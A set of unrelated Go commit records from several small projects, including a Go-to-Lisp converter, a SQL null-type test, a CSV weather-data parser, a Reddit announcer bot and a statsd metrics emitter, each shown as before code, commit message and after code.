<commit_before>package sexpconv

import (
	"fmt"
	"go/ast"
	"go/constant"
	"go/token"
	"go/types"
	"lisp"
	"lisp/function"
	"sexp"
)

func (conv *Converter) Expr(node ast.Expr) sexp.Form {
	switch node := node.(type) {
	case *ast.ParenExpr:
		return conv.Expr(node.X)
	case *ast.Ident:
		return conv.Ident(node)
	case *ast.BasicLit:
		return conv.BasicLit(node)
	case *ast.BinaryExpr:
		return conv.BinaryExpr(node)
	case *ast.CallExpr:
		return conv.CallExpr(node)
	case *ast.SelectorExpr:
		return conv.SelectorExpr(node)
	case *ast.TypeAssertExpr:
		return conv.TypeAssertExpr(node)
	case *ast.IndexExpr:
		return conv.IndexExpr(node)

	default:
		panic(fmt.Sprintf("unexpected expr: %#v\n", node))
	}
}

func (conv *Converter) Ident(node *ast.Ident) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}
	return sexp.Var{Name: node.Name}
}

func (conv *Converter) BasicLit(node *ast.BasicLit) sexp.Form {
	typ := conv.typeOf(node)

	if types.Identical(typ, lisp.Types.Symbol) {
		return sexp.Symbol{Val: constant.StringVal(conv.valueOf(node))}
	}

	info := conv.typeOf(node).Underlying().(*types.Basic).Info()

	if info&types.IsFloat != 0 {
		return constantFloat(conv.valueOf(node))
	}
	if info&types.IsString != 0 {
		return constantString(conv.valueOf(node))
	}
	return constantInt(conv.valueOf(node))
}

func (conv *Converter) BinaryExpr(node *ast.BinaryExpr) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}

	typ := conv.basicTypeOf(node.X)
	args := [2]sexp.Form{
		conv.Expr(node.X),
		conv.Expr(node.Y),
	}

	if typ.Info()&types.IsNumeric != 0 {
		switch node.Op {
		case token.ADD:
			return &sexp.NumAdd{Type: typ, Args: args}
		case token.SUB:
			return &sexp.NumSub{Type: typ, Args: args}
		case token.MUL:
			return &sexp.NumMul{Type: typ, Args: args}
		case token.QUO:
			return &sexp.NumQuo{Type: typ, Args: args}
		case token.EQL:
			return &sexp.NumEq{Type: typ, Args: args}
		case token.LSS:
			return &sexp.NumLt{Type: typ, Args: args}
		case token.GTR:
			return &sexp.NumGt{Type: typ, Args: args}
		case token.LEQ:
			return &sexp.NumLte{Type: typ, Args: args}
		case token.GEQ:
			return &sexp.NumGte{Type: typ, Args: args}

		default:
			panic(fmt.Sprintf("unexpected num op: %#v", node.Op))
		}
	}

	if typ.Kind() == types.String {
		switch node.Op {
		case token.ADD:
			return &sexp.Concat{Args: args}
		case token.EQL:
			return &sexp.StringEq{Args: args}
		case token.LSS:
			return &sexp.StringLt{Args: args}
		case token.GTR:
			return &sexp.StringGt{Args: args}
		case token.LEQ:
			return &sexp.StringLte{Args: args}
		case token.GEQ:
			return &sexp.StringGte{Args: args}

		default:
			panic(fmt.Sprintf("unexpected string op: %#v", node.Op))
		}
	}

	panic("unimplemented")
}

func (conv *Converter) SelectorExpr(node *ast.SelectorExpr) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}

	sel := conv.info.Selections[node]
	if sel != nil {
		panic("unimplemented")
	}

	panic(fmt.Sprintf("unexpected selector: %#v", node))
}

func (conv *Converter) TypeAssertExpr(node *ast.TypeAssertExpr) sexp.Form {
	exprTyp := conv.typeOf(node.X)
	expr := conv.Expr(node.X)
	assertTyp := conv.typeOf(node.Type)

	if exprTyp.Underlying() == lisp.Types.Object {
		return &sexp.LispTypeAssert{Expr: expr, Type: assertTyp}
	}
	return &sexp.TypeAssert{Expr: expr, Type: assertTyp}
}

func (conv *Converter) IndexExpr(node *ast.IndexExpr) sexp.Form {
	switch typ := conv.typeOf(node.X); typ.(type) {
	case *types.Map:
		// #FIXME: should add default value argument for gethash which
		// depends on the map value type (correct zero value for Go type).
		return conv.call(&function.Gethash, node.Index, node.X)

	// #TODO: arrays, slices, strings
	default:
		panic("unimplemented")
	}
}
<commit_msg>implemented constant unary expressions (needed them for negative number literals)<commit_after>package sexpconv

import (
	"fmt"
	"go/ast"
	"go/constant"
	"go/token"
	"go/types"
	"lisp"
	"lisp/function"
	"sexp"
)

func (conv *Converter) Expr(node ast.Expr) sexp.Form {
	switch node := node.(type) {
	case *ast.ParenExpr:
		return conv.Expr(node.X)
	case *ast.Ident:
		return conv.Ident(node)
	case *ast.BasicLit:
		return conv.BasicLit(node)
	case *ast.BinaryExpr:
		return conv.BinaryExpr(node)
	case *ast.CallExpr:
		return conv.CallExpr(node)
	case *ast.SelectorExpr:
		return conv.SelectorExpr(node)
	case *ast.TypeAssertExpr:
		return conv.TypeAssertExpr(node)
	case *ast.IndexExpr:
		return conv.IndexExpr(node)
	case *ast.UnaryExpr:
		return conv.UnaryExpr(node)

	default:
		panic(fmt.Sprintf("unexpected expr: %#v\n", node))
	}
}

func (conv *Converter) Ident(node *ast.Ident) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}
	return sexp.Var{Name: node.Name}
}

func (conv *Converter) BasicLit(node *ast.BasicLit) sexp.Form {
	typ := conv.typeOf(node)

	if types.Identical(typ, lisp.Types.Symbol) {
		return sexp.Symbol{Val: constant.StringVal(conv.valueOf(node))}
	}

	info := conv.typeOf(node).Underlying().(*types.Basic).Info()

	if info&types.IsFloat != 0 {
		return constantFloat(conv.valueOf(node))
	}
	if info&types.IsString != 0 {
		return constantString(conv.valueOf(node))
	}
	return constantInt(conv.valueOf(node))
}

func (conv *Converter) BinaryExpr(node *ast.BinaryExpr) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}

	typ := conv.basicTypeOf(node.X)
	args := [2]sexp.Form{
		conv.Expr(node.X),
		conv.Expr(node.Y),
	}

	if typ.Info()&types.IsNumeric != 0 {
		switch node.Op {
		case token.ADD:
			return &sexp.NumAdd{Type: typ, Args: args}
		case token.SUB:
			return &sexp.NumSub{Type: typ, Args: args}
		case token.MUL:
			return &sexp.NumMul{Type: typ, Args: args}
		case token.QUO:
			return &sexp.NumQuo{Type: typ, Args: args}
		case token.EQL:
			return &sexp.NumEq{Type: typ, Args: args}
		case token.LSS:
			return &sexp.NumLt{Type: typ, Args: args}
		case token.GTR:
			return &sexp.NumGt{Type: typ, Args: args}
		case token.LEQ:
			return &sexp.NumLte{Type: typ, Args: args}
		case token.GEQ:
			return &sexp.NumGte{Type: typ, Args: args}

		default:
			panic(fmt.Sprintf("unexpected num op: %#v", node.Op))
		}
	}

	if typ.Kind() == types.String {
		switch node.Op {
		case token.ADD:
			return &sexp.Concat{Args: args}
		case token.EQL:
			return &sexp.StringEq{Args: args}
		case token.LSS:
			return &sexp.StringLt{Args: args}
		case token.GTR:
			return &sexp.StringGt{Args: args}
		case token.LEQ:
			return &sexp.StringLte{Args: args}
		case token.GEQ:
			return &sexp.StringGte{Args: args}

		default:
			panic(fmt.Sprintf("unexpected string op: %#v", node.Op))
		}
	}

	panic("unimplemented")
}

func (conv *Converter) SelectorExpr(node *ast.SelectorExpr) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}

	sel := conv.info.Selections[node]
	if sel != nil {
		panic("unimplemented")
	}

	panic(fmt.Sprintf("unexpected selector: %#v", node))
}

func (conv *Converter) UnaryExpr(node *ast.UnaryExpr) sexp.Form {
	if cv := conv.Constant(node); cv != nil {
		return cv
	}

	panic("unimplemented")
}

func (conv *Converter) TypeAssertExpr(node *ast.TypeAssertExpr) sexp.Form {
	exprTyp := conv.typeOf(node.X)
	expr := conv.Expr(node.X)
	assertTyp := conv.typeOf(node.Type)

	if exprTyp.Underlying() == lisp.Types.Object {
		return &sexp.LispTypeAssert{Expr: expr, Type: assertTyp}
	}
	return &sexp.TypeAssert{Expr: expr, Type: assertTyp}
}

func (conv *Converter) IndexExpr(node *ast.IndexExpr) sexp.Form {
	switch typ := conv.typeOf(node.X); typ.(type) {
	case *types.Map:
		// #FIXME: should add default value argument for gethash which
		// depends on the map value type (correct zero value for Go type).
		return conv.call(&function.Gethash, node.Index, node.X)

	// #TODO: arrays, slices, strings
	default:
		panic("unimplemented")
	}
}
<|endoftext|>


<commit_before>package nisql

import (
	"database/sql"
	"os"
	"testing"
	"time"

	_ "github.com/go-sql-driver/mysql"
	_ "github.com/lib/pq"
)

type nullable struct {
	StringNVal NullString
	StringVal  string

	Int64NVal NullInt64
	Int64Val  int64

	Float64NVal NullFloat64
	Float64Val  float64

	BoolNVal NullBool
	BoolVal  bool

	TimeNVal NullTime
	TimeVal  time.Time
}

func TestInit(t *testing.T) {
	db, err := sql.Open(os.Getenv("NISQL_TEST_DIALECT"), os.Getenv("NISQL_TEST_DSN"))
	if err != nil {
		t.Fatalf("err while creating connection: %s", err.Error())
	}

	sql := `CREATE TABLE nullable (
    string_n_val VARCHAR (255) DEFAULT NULL,
    string_val VARCHAR (255) DEFAULT 'empty',
    int64_n_val BIGINT DEFAULT NULL,
    int64_val BIGINT DEFAULT 1,
    float64_n_val NUMERIC DEFAULT NULL,
    float64_val NUMERIC DEFAULT 1,
    bool_n_val BOOLEAN,
    bool_val BOOLEAN NOT NULL,
    time_n_val timestamp,
    time_val timestamp NOT NULL
)`

	if _, err = db.Exec(sql); err != nil {
		t.Fatalf("err while creating table: %s", err.Error())
	}

	sql = `INSERT INTO nullable
VALUES
    (
        NULL,
        'NULLABLE',
        NULL,
        42,
        NULL,
        12,
        NULL,
        true,
        NULL,
        NOW()
    )`

	if _, err := db.Exec(sql); err != nil {
		t.Fatalf("err while adding null item: %s", err.Error())
	}

	n := &nullable{}
	err = db.QueryRow("SELECT * FROM nullable").
		Scan(&n.StringNVal,
		&n.StringVal,
		&n.Int64NVal,
		&n.Int64Val,
		&n.Float64NVal,
		&n.Float64Val,
		&n.BoolNVal,
		&n.BoolVal,
		&n.TimeNVal,
		&n.TimeVal,
	)
	if err != nil {
		t.Fatalf(err.Error())
	}

	if n.StringVal != "NULLABLE" {
		t.Fatalf("expected NULLABLE, got: ", n.StringVal)
	}

	if n.StringNVal.Valid {
		t.Fatalf("expected invalid, got valid for string_n_val")
	}

	if n.Int64Val != int64(42) {
		t.Fatalf("expected 42, got: %d", n.Int64Val)
	}

	if n.Int64NVal.Valid {
		t.Fatalf("expected invalid, got valid for int64_n_val")
	}

	if n.Float64Val != float64(12) {
		t.Fatalf("expected 12, got: %f", n.Float64Val)
	}

	if n.Float64NVal.Valid {
		t.Fatalf("expected invalid, got valid for float64_n_val")
	}

	if n.BoolVal != true {
		t.Fatalf("expected true, got: %t", n.BoolVal)
	}

	if n.BoolNVal.Valid {
		t.Fatalf("expected invalid, got valid for float64_n_val")
	}

	if n.TimeNVal.Valid {
		t.Fatalf("expected false, got: %t", n.TimeNVal)
	}

	if n.TimeVal.IsZero() {
		t.Fatalf("expected valid, got invalid for TimeVal: %+v", n.TimeVal)
	}
}
<commit_msg>Nisql: remove unused import<commit_after>package nisql

import (
	"database/sql"
	"os"
	"testing"
	"time"

	_ "github.com/lib/pq"
)

type nullable struct {
	StringNVal NullString
	StringVal  string

	Int64NVal NullInt64
	Int64Val  int64

	Float64NVal NullFloat64
	Float64Val  float64

	BoolNVal NullBool
	BoolVal  bool

	TimeNVal NullTime
	TimeVal  time.Time
}

func TestInit(t *testing.T) {
	db, err := sql.Open(os.Getenv("NISQL_TEST_DIALECT"), os.Getenv("NISQL_TEST_DSN"))
	if err != nil {
		t.Fatalf("err while creating connection: %s", err.Error())
	}

	sql := `CREATE TABLE nullable (
    string_n_val VARCHAR (255) DEFAULT NULL,
    string_val VARCHAR (255) DEFAULT 'empty',
    int64_n_val BIGINT DEFAULT NULL,
    int64_val BIGINT DEFAULT 1,
    float64_n_val NUMERIC DEFAULT NULL,
    float64_val NUMERIC DEFAULT 1,
    bool_n_val BOOLEAN,
    bool_val BOOLEAN NOT NULL,
    time_n_val timestamp,
    time_val timestamp NOT NULL
)`

	if _, err = db.Exec(sql); err != nil {
		t.Fatalf("err while creating table: %s", err.Error())
	}

	sql = `INSERT INTO nullable
VALUES
    (
        NULL,
        'NULLABLE',
        NULL,
        42,
        NULL,
        12,
        NULL,
        true,
        NULL,
        NOW()
    )`

	if _, err := db.Exec(sql); err != nil {
		t.Fatalf("err while adding null item: %s", err.Error())
	}

	n := &nullable{}
	err = db.QueryRow("SELECT * FROM nullable").
		Scan(&n.StringNVal,
		&n.StringVal,
		&n.Int64NVal,
		&n.Int64Val,
		&n.Float64NVal,
		&n.Float64Val,
		&n.BoolNVal,
		&n.BoolVal,
		&n.TimeNVal,
		&n.TimeVal,
	)
	if err != nil {
		t.Fatalf(err.Error())
	}

	if n.StringVal != "NULLABLE" {
		t.Fatalf("expected NULLABLE, got: ", n.StringVal)
	}

	if n.StringNVal.Valid {
		t.Fatalf("expected invalid, got valid for string_n_val")
	}

	if n.Int64Val != int64(42) {
		t.Fatalf("expected 42, got: %d", n.Int64Val)
	}

	if n.Int64NVal.Valid {
		t.Fatalf("expected invalid, got valid for int64_n_val")
	}

	if n.Float64Val != float64(12) {
		t.Fatalf("expected 12, got: %f", n.Float64Val)
	}

	if n.Float64NVal.Valid {
		t.Fatalf("expected invalid, got valid for float64_n_val")
	}

	if n.BoolVal != true {
		t.Fatalf("expected true, got: %t", n.BoolVal)
	}

	if n.BoolNVal.Valid {
		t.Fatalf("expected invalid, got valid for float64_n_val")
	}

	if n.TimeNVal.Valid {
		t.Fatalf("expected false, got: %t", n.TimeNVal)
	}

	if n.TimeVal.IsZero() {
		t.Fatalf("expected valid, got invalid for TimeVal: %+v", n.TimeVal)
	}
}
<|endoftext|>


<commit_before>package data

import (
	"encoding/csv"
	"time"
	"fmt"
	"strconv"
	"io"
)

func CSVParse(file io.Reader) (labels []string, data []Record) {
	labels, data = csvParse(file)
	return
}

func csvParse(file io.Reader) (labels []string, data []Record) {
	reader := csv.NewReader (file)
	tmpdata, err := reader.ReadAll()
	if  err != nil {
		fmt.Println(err)
	}
	labels = make([]string, 6)
	//labels = tmpdata[0]
	data  = make([]Record, len(tmpdata)-1)
	for i := 1; i<len(tmpdata)-1; i++ {
		data[i-1].Time, _ = time.Parse(ISO, tmpdata[i][0])
		data[i-1].Radiation, err = strconv.ParseFloat(tmpdata[i][1], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Humidity, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Temperature, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Wind, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Power, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].Null = true
		}
	}
	data = fillRecords (data)
	return
}

func fillRecords (emptyData []Record) (data []Record){
	gradRad, gradHumidity, gradTemp, gradWind := 0.0, 0.0, 0.0, 0.0
	for i := 0; i<len(emptyData); i++ {
		if emptyData[i].empty && i > 0 {
			emptyData[i].Radiation = emptyData[i-1].Radiation + gradRad
			emptyData[i].Humidity = emptyData[i-1].Humidity + gradHumidity
			emptyData[i].Temperature = emptyData[i-1].Temperature + gradTemp
			emptyData[i].Wind = emptyData[i-1].Wind + gradWind
			emptyData[i].empty = false
		} else {
			if i + 4 < len (emptyData) {
				gradRad = (emptyData[i+4].Radiation - emptyData[i].Radiation)/4
				gradHumidity = (emptyData[i+4].Humidity - emptyData[i].Humidity)/4
				gradTemp = (emptyData[i+4].Temperature - emptyData[i].Temperature)/4
				gradWind = (emptyData[i+4].Wind - emptyData[i].Wind)/4
			} else {
				gradRad = 0
				gradHumidity = 0
				gradTemp = 0
				gradWind = 0
			}
		}
	}
	return
}
<commit_msg>is cap the answer?<commit_after>package data

import (
	"encoding/csv"
	"time"
	"fmt"
	"strconv"
	"io"
)

func CSVParse(file io.Reader) (labels []string, data []Record) {
	labels, data = csvParse(file)
	return
}

func csvParse(file io.Reader) (labels []string, data []Record) {
	reader := csv.NewReader (file)
	tmpdata, err := reader.ReadAll()
	if  err != nil {
		fmt.Println(err)
	}
	labels = make([]string, 6)
	//labels = tmpdata[0]
	data  = make([]Record, 0, len(tmpdata)-1)
	for i := 1; i<len(tmpdata)-1; i++ {
		data[i-1].Time, _ = time.Parse(ISO, tmpdata[i][0])
		data[i-1].Radiation, err = strconv.ParseFloat(tmpdata[i][1], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Humidity, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Temperature, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Wind, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].empty = true
		}
		data[i-1].Power, err = strconv.ParseFloat(tmpdata[i][2], 64)
		if err != nil {
			data[i-1].Null = true
		}
	}
	data = fillRecords (data)
	return
}

func fillRecords (emptyData []Record) (data []Record){
	gradRad, gradHumidity, gradTemp, gradWind := 0.0, 0.0, 0.0, 0.0
	for i := 0; i<len(emptyData); i++ {
		if emptyData[i].empty && i > 0 {
			emptyData[i].Radiation = emptyData[i-1].Radiation + gradRad
			emptyData[i].Humidity = emptyData[i-1].Humidity + gradHumidity
			emptyData[i].Temperature = emptyData[i-1].Temperature + gradTemp
			emptyData[i].Wind = emptyData[i-1].Wind + gradWind
			emptyData[i].empty = false
		} else {
			if i + 4 < len (emptyData) {
				gradRad = (emptyData[i+4].Radiation - emptyData[i].Radiation)/4
				gradHumidity = (emptyData[i+4].Humidity - emptyData[i].Humidity)/4
				gradTemp = (emptyData[i+4].Temperature - emptyData[i].Temperature)/4
				gradWind = (emptyData[i+4].Wind - emptyData[i].Wind)/4
			} else {
				gradRad = 0
				gradHumidity = 0
				gradTemp = 0
				gradWind = 0
			}
		}
	}
	return
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"os"
	"time"

	"github.com/turnage/graw"
)

const usage = "Usage of announcer: ./announcer [subreddit] [subreddit] ...\n"

const agent = "graw:announcer-demo-bot:1.0.0 by /u/roxven"

var rate = flag.Duration("rate", time.Second, "Interval between updates.")

func init() {
	flag.Usage = func() { fmt.Fprintf(os.Stderr, usage) }
}

type announcer struct{}

func (a *announcer) Post(p *graw.Post) error {
	fmt.Printf("[%s]: \"%s\"\n", p.Subreddit, p.Title)
	return nil
}

func main() {
	flag.Parse()
	if len(flag.Args()) == 0 {
		flag.Usage()
	}

	fmt.Printf(
		"Error: %v\n", graw.Run(
			graw.Config{
				Agent:      agent,
				Subreddits: flag.Args(),
				Rate:       *rate,
			},
			&announcer{},
		),
	)
}
<commit_msg>Exit on missing arguments.<commit_after>package main

import (
	"flag"
	"fmt"
	"os"
	"time"

	"github.com/turnage/graw"
)

const usage = "Usage of announcer: ./announcer [subreddit] [subreddit] ...\n"

const agent = "graw:announcer-demo-bot:1.0.0 by /u/roxven"

var rate = flag.Duration("rate", time.Second, "Interval between updates.")

func init() {
	flag.Usage = func() { fmt.Fprintf(os.Stderr, usage) }
}

type announcer struct{}

func (a *announcer) Post(p *graw.Post) error {
	fmt.Printf("[%s]: \"%s\"\n", p.Subreddit, p.Title)
	return nil
}

func main() {
	flag.Parse()
	if len(flag.Args()) == 0 {
		flag.Usage()
		os.Exit(-1)
	}

	fmt.Printf(
		"Error: %v\n", graw.Run(
			graw.Config{
				Agent:      agent,
				Subreddits: flag.Args(),
				Rate:       *rate,
			},
			&announcer{},
		),
	)
}
<|endoftext|>


<commit_before>package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"os"
	"runtime"
	"strconv"
	"time"
)

const (
	envvarHost = "STATSD_UDP_HOST"
	envvarPort = "STATSD_UDP_PORT"
)

var debug_enabled bool

type ByteCount struct {
	success int64
	failed  int64
}

func (b *ByteCount) add(b2 ByteCount) {
	b.success += b2.success
	b.failed += b2.failed
}

func debugf(format string, v ...interface{}) {
	if !debug_enabled {
		return
	}
	log.Printf(format, v...)
}

func getEnvAddress() string {
	host := os.Getenv(envvarHost)
	if host == "" {
		log.Printf("No UDP Host provided in environment: Need %s", envvarHost)
	}
	port_str := os.Getenv(envvarPort)
	if port_str == "" {
		log.Printf("No UDP Port provided in environment: Need %s", envvarPort)
	}
	if host == "" || port_str == "" {
		log.Fatalf("Environment: %s", os.Environ())
	}
	port, err := strconv.Atoi(port_str)
	if err != nil {
		log.Fatalf("Invalid UDP Port provided in environment (%s): %s=%s %s",
			os.Environ(), envvarPort, port_str, err)
	}
	return host + ":" + strconv.Itoa(port)
}

func getConn(address string) *net.UDPConn {
	// send the current time (gauge) and the count of packets sent (counter)
	dest, err := net.ResolveUDPAddr("udp", address)
	if err != nil {
		log.Fatalf("Unable to resolve provided statsd endpoint (%s): %s", address, err)
	}
	conn, err := net.DialUDP("udp", nil, dest)
	if err != nil {
		log.Fatalf("Unable to dial provided statsd endpoint (%s/%s): %s", address, dest, err)
	}
	return conn
}

func formatCounteri(key string, val int64) string {
	return formati(key, val, "c")
}
func formatGaugei(key string, val int64) string {
	return formati(key, val, "g")
}
func formatGaugef(key string, val float64) string {
	return formatf(key, val, "g")
}
func formatTimerMsi(key string, val int64) string {
	return formati(key, val, "ms")
}
func formati(key string, val int64, tipe string) string {
	return fmt.Sprintf("statsd_emitter.%s:%s|%s", key, strconv.FormatInt(val, 10), tipe)
}
func formatf(key string, val float64, tipe string) string {
	return fmt.Sprintf("statsd_emitter.%s:%s|%s", key, strconv.FormatFloat(val, 'f', -1, 64), tipe)
}

func sendCounteri(conn *net.UDPConn, key string, val int64) ByteCount {
	return send(conn, formatCounteri(key, val))
}
func sendGaugei(conn *net.UDPConn, key string, val int64) ByteCount {
	return send(conn, formatGaugei(key, val))
}
func sendGaugef(conn *net.UDPConn, key string, val float64) ByteCount {
	return send(conn, formatGaugef(key, val))
}
func sendTimerMsi(conn *net.UDPConn, key string, val int64) ByteCount {
	return send(conn, formatTimerMsi(key, val))
}
func send(conn *net.UDPConn, msg string) ByteCount {
	debugf("SEND (%d): %s", len(msg), msg)
	sent, err := conn.Write([]byte(msg))
	if err != nil {
		debugf("Failed to send %d bytes: %s", len(msg), err)
		return ByteCount{success: 0, failed: int64(len(msg))}
	}
	return ByteCount{success: int64(sent), failed: 0}
}

func main() {
	start := time.Now()

	flag.BoolVar(&debug_enabled, "debug", false, "Enables debug log messages")
	flag.Parse()

	log.SetPrefix("statsd-emitter ")

	addr := getEnvAddress()
	log.Printf("Sending to: %s", addr)
	conn := getConn(addr)
	defer conn.Close()

	var bytes ByteCount
	bytes.add(sendCounteri(conn, "proc.instance_counter", 1))

	var loop_count int64 = 0
	for {
		bytes_start := bytes
		debugf("-- %d", loop_count)

		now := time.Now()
		bytes.add(sendGaugei(conn, "time.unix", int64(now.Unix())))
		bytes.add(sendGaugei(conn, "time.unix_nano", int64(now.UnixNano())))
		bytes.add(sendGaugef(conn, "time.unix_float", float64(now.UnixNano())/1000000000))
		uptime_ms := int64((now.UnixNano() - start.UnixNano()) / 1000000 /* nano -> milli */)
		bytes.add(sendGaugei(conn, "time.uptime_gauge_ms", uptime_ms))
		bytes.add(sendTimerMsi(conn, "time.uptime_timer_ms", uptime_ms))

		bytes.add(sendGaugei(conn, "proc.pid", int64(os.Getpid())))

		var memstats runtime.MemStats
		runtime.ReadMemStats(&memstats) // Alloc, TotalAlloc, Sys, Lookups, Mallocs, Frees
		bytes.add(sendGaugei(conn, "mem.alloc", int64(memstats.Alloc)))
		bytes.add(sendGaugei(conn, "mem.total_alloc", int64(memstats.TotalAlloc)))
		bytes.add(sendGaugei(conn, "mem.sys", int64(memstats.Sys)))
		bytes.add(sendGaugei(conn, "mem.lookups", int64(memstats.Lookups)))
		bytes.add(sendGaugei(conn, "mem.mallocs", int64(memstats.Mallocs)))
		bytes.add(sendGaugei(conn, "mem.frees", int64(memstats.Frees)))

		bytes.add(sendCounteri(conn, "sent.loop_counter", 1))
		bytes.add(sendGaugei(conn, "sent.loop_gauge", loop_count))
		bytes.add(sendGaugei(conn, "sent.bytes_success", bytes.success))
		bytes.add(sendGaugei(conn, "sent.bytes_failed", bytes.failed))

		loop_count++

		success := bytes.success - bytes_start.success
		failed := bytes.failed - bytes_start.failed
		log.Printf("Bytes sent: %d success, %d failed, %d total",
			success, failed, success+failed)
		time.Sleep(time.Second * 1)
	}
}
<commit_msg>Exercise tags in sample statsd emitter<commit_after>package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"os"
	"runtime"
	"strconv"
	"time"
)

const (
	envvarHost = "STATSD_UDP_HOST"
	envvarPort = "STATSD_UDP_PORT"
)

var debug_enabled bool

type ByteCount struct {
	success int64
	failed  int64
}

func (b *ByteCount) add(b2 ByteCount) {
	b.success += b2.success
	b.failed += b2.failed
}

func debugf(format string, v ...interface{}) {
	if !debug_enabled {
		return
	}
	log.Printf(format, v...)
}

func getEnvAddress() string {
	host := os.Getenv(envvarHost)
	if host == "" {
		log.Printf("No UDP Host provided in environment: Need %s", envvarHost)
	}
	port_str := os.Getenv(envvarPort)
	if port_str == "" {
		log.Printf("No UDP Port provided in environment: Need %s", envvarPort)
	}
	if host == "" || port_str == "" {
		log.Fatalf("Environment: %s", os.Environ())
	}
	port, err := strconv.Atoi(port_str)
	if err != nil {
		log.Fatalf("Invalid UDP Port provided in environment (%s): %s=%s %s",
			os.Environ(), envvarPort, port_str, err)
	}
	return host + ":" + strconv.Itoa(port)
}

func getConn(address string) *net.UDPConn {
	// send the current time (gauge) and the count of packets sent (counter)
	dest, err := net.ResolveUDPAddr("udp", address)
	if err != nil {
		log.Fatalf("Unable to resolve provided statsd endpoint (%s): %s", address, err)
	}
	conn, err := net.DialUDP("udp", nil, dest)
	if err != nil {
		log.Fatalf("Unable to dial provided statsd endpoint (%s/%s): %s", address, dest, err)
	}
	return conn
}

func formatCounteri(key string, val int64) string {
	return formati(key, val, "c")
}
func formatGaugei(key string, val int64) string {
	return formati(key, val, "g")
}
func formatGaugef(key string, val float64) string {
	return formatf(key, val, "g")
}
func formatTimerMsi(key string, val int64) string {
	return formati(key, val, "ms")
}
func formati(key string, val int64, tipe string) string {
	return fmt.Sprintf("statsd_emitter.%s:%s|%s|#sample_tag:sample_val",
		key, strconv.FormatInt(val, 10), tipe)
}
func formatf(key string, val float64, tipe string) string {
	return fmt.Sprintf("statsd_emitter.%s:%s|%s|#sample_tag:sample_val",
		key, strconv.FormatFloat(val, 'f', -1, 64), tipe)
}

func sendCounteri(conn *net.UDPConn, key string, val int64) ByteCount {
	return send(conn, formatCounteri(key, val))
}
func sendGaugei(conn *net.UDPConn, key string, val int64) ByteCount {
	return send(conn, formatGaugei(key, val))
}
func sendGaugef(conn *net.UDPConn, key string, val float64) ByteCount {
	return send(conn, formatGaugef(key, val))
}
func sendTimerMsi(conn *net.UDPConn, key string, val int64) ByteCount {
	return send(conn, formatTimerMsi(key, val))
}
func send(conn *net.UDPConn, msg string) ByteCount {
	debugf("SEND (%d): %s", len(msg), msg)
	sent, err := conn.Write([]byte(msg))
	if err != nil {
		debugf("Failed to send %d bytes: %s", len(msg), err)
		return ByteCount{success: 0, failed: int64(len(msg))}
	}
	return ByteCount{success: int64(sent), failed: 0}
}

func main() {
	start := time.Now()

	flag.BoolVar(&debug_enabled, "debug", false, "Enables debug log messages")
	flag.Parse()

	log.SetPrefix("statsd-emitter ")

	addr := getEnvAddress()
	log.Printf("Sending to: %s", addr)
	conn := getConn(addr)
	defer conn.Close()

	var bytes ByteCount
	bytes.add(sendCounteri(conn, "proc.instance_counter", 1))

	var loop_count int64 = 0
	for {
		bytes_start := bytes
		debugf("-- %d", loop_count)

		now := time.Now()
		bytes.add(sendGaugei(conn, "time.unix", int64(now.Unix())))
		bytes.add(sendGaugei(conn, "time.unix_nano", int64(now.UnixNano())))
		bytes.add(sendGaugef(conn, "time.unix_float", float64(now.UnixNano())/1000000000))
		uptime_ms := int64((now.UnixNano() - start.UnixNano()) / 1000000 /* nano -> milli */)
		bytes.add(sendGaugei(conn, "time.uptime_gauge_ms", uptime_ms))
		bytes.add(sendTimerMsi(conn, "time.uptime_timer_ms", uptime_ms))

		bytes.add(sendGaugei(conn, "proc.pid", int64(os.Getpid())))

		var memstats runtime.MemStats
		runtime.ReadMemStats(&memstats) // Alloc, TotalAlloc, Sys, Lookups, Mallocs, Frees
		bytes.add(sendGaugei(conn, "mem.alloc", int64(memstats.Alloc)))
		bytes.add(sendGaugei(conn, "mem.total_alloc", int64(memstats.TotalAlloc)))
		bytes.add(sendGaugei(conn, "mem.sys", int64(memstats.Sys)))
		bytes.add(sendGaugei(conn, "mem.lookups", int64(memstats.Lookups)))
		bytes.add(sendGaugei(conn, "mem.mallocs", int64(memstats.Mallocs)))
		bytes.add(sendGaugei(conn, "mem.frees", int64(memstats.Frees)))

		bytes.add(sendCounteri(conn, "sent.loop_counter", 1))
		bytes.add(sendGaugei(conn, "sent.loop_gauge", loop_count))
		bytes.add(sendGaugei(conn, "sent.bytes_success", bytes.success))
		bytes.add(sendGaugei(conn, "sent.bytes_failed", bytes.failed))

		loop_count++

		success := bytes.success - bytes_start.success
		failed := bytes.failed - bytes_start.failed
		log.Printf("Bytes sent: %d success, %d failed, %d total",
			success, failed, success+failed)
		time.Sleep(time.Second * 1)
	}
}
<|endoftext|>


<commit_before>/*
  Copyright 2012 Sergey Cherepanov (https://github.com/cheggaaa)

  Licensed under the Apache License, Version 2.0 (the "License");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
*/

package storage

